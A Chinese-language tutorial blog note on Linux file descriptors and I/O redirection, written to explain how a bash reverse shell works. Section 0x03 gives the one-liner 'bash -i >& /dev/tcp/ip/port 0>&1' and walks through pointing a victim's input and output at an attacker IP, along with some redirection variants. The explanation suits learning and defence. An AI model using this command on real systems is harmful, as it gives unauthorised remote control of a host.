Linux重定向及反彈shell詳解
- 2020 年 3 月 8 日
- 筆記
這裡說Linux重定向的原因主要還是為了詳細了解一下Linux中的反彈shell
目錄
0x01 文件描述符
0x02 重定向
0x03 反彈shell
0x04 交互重定向
0x05 命令變形
0x01 文件描述符
Linux的文件描述符有以下三種
標準輸入:0
標準輸出:1
錯誤輸出:2
對於文件描述符就先知道這些就可以了,具體的使用會在重定向中來說,重定向就是對文件描述符的操作
0x02 重定向
重定向主要分為以下兩種
輸入重定向 <、<<
輸出重定向 >、>>
通過下面的兩張圖就可以很明白的看出來他們的用途了


我們這裡的輸出重定向>,就相當於是1>,輸入重定向 <,就相當於是0<
那如果要使用錯誤輸出的話,就必須寫成 2>

我們也可以把錯誤的內容重定向到另一個文件中的
下面這個操作,我們就可以把正確的結果放到test.txt,而把錯誤的結果放到test1.txt文件中

同樣也可以將結果和錯誤輸出一起輸出到一個文件中去
在正常輸入的命令結尾加上2>&1就可以實現了,這個語句可以理解為將錯誤輸出與標準輸出一致,也就是將他們輸出到一個文件中來

其實這裡的&符號是為了區分文件跟文件描述符的,如果這裡沒有&符號,系統會把它理解為文件,而不是標準輸出

0x03 反彈shell
下面是很常見的一條反彈shell命令,我們就以這個為例來進行解釋
bash -i >& /dev/tcp/ip/port 0>&1
解釋
bash -i
表示創建一個交互式的shell,可以在幫助文檔中看到

/dev/tcp/ip/port
實際上這個文件不是存在的,但是當你在監聽這個端口的時候,對這個文件進行讀寫,就可以實現兩個主機之間的socket通信

首先我們在本地開啟監聽,然後在Linux機器上輸入下面的命令,即將指定字符發送到192.168.6.1的3333端口


0>&1
將標準輸入和標準輸出重定向到指定的文件中
如果把這條命令改成2>&1可能會更容易理解一點


如果理解了上面這個的話,對於這個就很容易理解了
>&
將前面的後和後面的一致,就是將交互式的shell傳給我們的遠程主機
理解了上面的內容,我們將標準輸出改為標準輸入,看一下會發生什麼事情


0x04 交互重定向
理解了上面的內容之後,我們在一步步分解一下交互式shell
使用下面的語句可以將輸出內容發送到攻擊機上


但是這樣會有一個問題,攻擊者沒有實現對此主機的完全控制,是不能在受害主機中運行命令的,此時我們還會想起來另一條命令,將它轉換成標準輸入


這樣我們就實現了從攻擊機輸入命令進行控制,然後我們將兩條命令合併一下,將標準輸入和標準輸出都指向到遠程主機上,即實現交互式shell

在這個情況下的邏輯就是,從/dev/tcp/192.168.1.6/3333獲取輸入,然後將輸出重定向到/dev/tcp/192.168.1.6/3333,從而形成了一個迴路

但是這裏面還是有一個問題的,可以看到我們輸入的命令在受害主機上還是會顯示出命令的,所以還是需要進行改進的
我們上面也說了如何將所有的正確和錯誤信息都重定向到一起,這裡就可以使用這個方法來進行處理


可以看到所有產生的消息都在攻擊機上顯示出來了,這樣就達到了我們最初的目的了
我們也可以使用與之等價的命令來進行操作,也就是我們最前面所寫出來的那一條命令


0x05 命令變形
如果我們把 0>&1 改成 0<&1 將會發生什麼

可以發現兩者的效果是一樣的,它們唯一的不同是打開文件時候的方式不同,其他的內容都與我們前面說的是一樣的
同樣的,我們將 0>&1 變為 0>&2 是一樣的效果

至於其他的變形類型的,就按照上面所說的那些東西自己去推算即可。